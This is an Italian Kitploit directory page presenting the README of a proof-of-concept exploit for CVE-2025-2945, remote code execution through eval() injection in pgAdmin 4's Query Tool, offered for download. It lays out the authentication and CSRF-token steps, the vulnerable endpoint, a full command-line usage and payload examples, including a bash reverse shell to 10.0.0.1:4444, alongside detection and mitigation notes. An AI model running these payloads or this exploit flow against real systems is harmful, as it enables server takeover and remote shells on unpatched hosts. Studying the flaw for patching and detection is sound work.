Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-2945-pgadmin-rce — RCE autenticata in pgAdmin 4 (8.10–9.1) tramite iniezione di eval() nel Query Tool. Questo è un PoC aggiornato con correzioni di compatibilità per le modifiche all'autenticazione di pgAdmin 9.x | Kitploit
Strumenti/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

RCE autenticata in pgAdmin 4 (8.10–9.1) tramite iniezione di eval() nel Query Tool. Questo è un PoC aggiornato con correzioni di compatibilità per le modifiche all'autenticazione di pgAdmin 9.x

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-2945 — RCE autenticata nel Query Tool di pgAdmin 4

Proof of concept per CVE-2025-2945, una vulnerabilità critica di esecuzione remota di codice in pgAdmin 4.

Versioni interessate: dalla 8.10 alla 9.1
Corretta nella: 9.2 (rilasciata il 4 aprile 2025)
CVSS v3.1: 9.9 (Critico)


Panoramica

Il Query Tool di pgAdmin 4 espone un endpoint che accetta un parametro query_commited e lo passa direttamente alla funzione eval() integrata di Python senza alcuna sanitizzazione. Un attaccante autenticato può inviare codice Python arbitrario tramite questo parametro e farlo eseguire lato server con l'account di servizio di pgAdmin.

L'endpoint vulnerabile è:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

Il campo query_commited nel corpo JSON viene valutato come codice Python sul server.


Analisi tecnica

Causa principale

Nelle versioni di pgAdmin 4 precedenti alla 9.2, l'handler di download del query tool chiama eval() su input fornito dall'utente:

root@kitploit:~
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

Non viene applicata alcuna validazione dell'input, sandboxing o allowlist. Qualsiasi espressione Python valida viene eseguita con i privilegi del processo pgAdmin.

Flusso dell'exploit

  1. Autenticazione — invia le credenziali via POST a /authenticate/login, ottieni un cookie di sessione e il token CSRF
  2. Inizializza sqleditor — invia una POST a /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> con le credenziali del database per stabilire una sessione del query tool
  3. Scopri l'ID del server — invia una GET a /sqleditor/get_server_connection/<sgid>/<sid> iterando sugli ID finché uno non restituisce data.status == true
  4. Attiva eval — invia una POST a /sqleditor/query_tool/download/<trans_id> con {"query_commited": "<python payload>"} e ricevi una risposta 500 che conferma l'esecuzione

Gestione del token CSRF (pgAdmin 9.x)

Le versioni precedenti di pgAdmin incorporavano il token CSRF in un campo <input> nascosto o in un cookie. La versione 9.x è passata a un'architettura React SPA in cui il token è incorporato come JSON all'interno di una chiamata window.renderSecurityPage() nella pagina /login:

root@kitploit:~
"csrfToken": "<token value>"

Il token ha ambito di sessione (Flask-WTF / itsdangerous), quindi il token ottenuto dalla GET /login iniziale rimane valido per l'intera sessione e può essere riutilizzato per tutte le chiamate API successive.

Modifica dell'endpoint di login

pgAdmin 9.x ha suddiviso la rotta di login:

  • GET /login — restituisce la pagina di login (contiene il token CSRF)
  • POST /authenticate/login — elabora le credenziali

I PoC più vecchi che inviano POST direttamente a /login riceveranno un 404 o 405 sulle istanze 9.x.


Requisiti

  • Python 3.7+
  • Credenziali pgAdmin valide (qualsiasi utente autenticato)
  • Credenziali database valide per un server registrato in pgAdmin
root@kitploit:~
pip install requests faker

Utilizzo

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

Argomenti

ArgomentoDescrizione
--rhostHostname o IP del target (senza schema)
--rportPorta del target (predefinita: 80)
--usernameEmail di accesso a pgAdmin
--passwordPassword di accesso a pgAdmin
--db-userNome utente PostgreSQL
--db-passPassword PostgreSQL
--db-nameNome del database
--payloadEspressione Python da valutare sul server
--max-server-idNumero massimo di ID server da sondare (predefinito: 10)

Esempi di payload

Esecuzione di comandi:

root@kitploit:~
--payload "__import__('os').system('id')"

Reverse shell:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

Rilevamento

  • Risposte HTTP 500 inattese da /sqleditor/query_tool/download/
  • Processo pgAdmin che genera processi figlio (shell, curl, wget)
  • Connessioni in uscita dall'host pgAdmin verso IP sconosciuti

Mitigazione

Aggiorna a pgAdmin 4 versione 9.2 o successiva.


Riferimenti

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

Disclaimer

Questo repository è destinato esclusivamente a scopi educativi e di test autorizzati. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai ricevuto un'esplicita autorizzazione al test.

Scarica lo strumento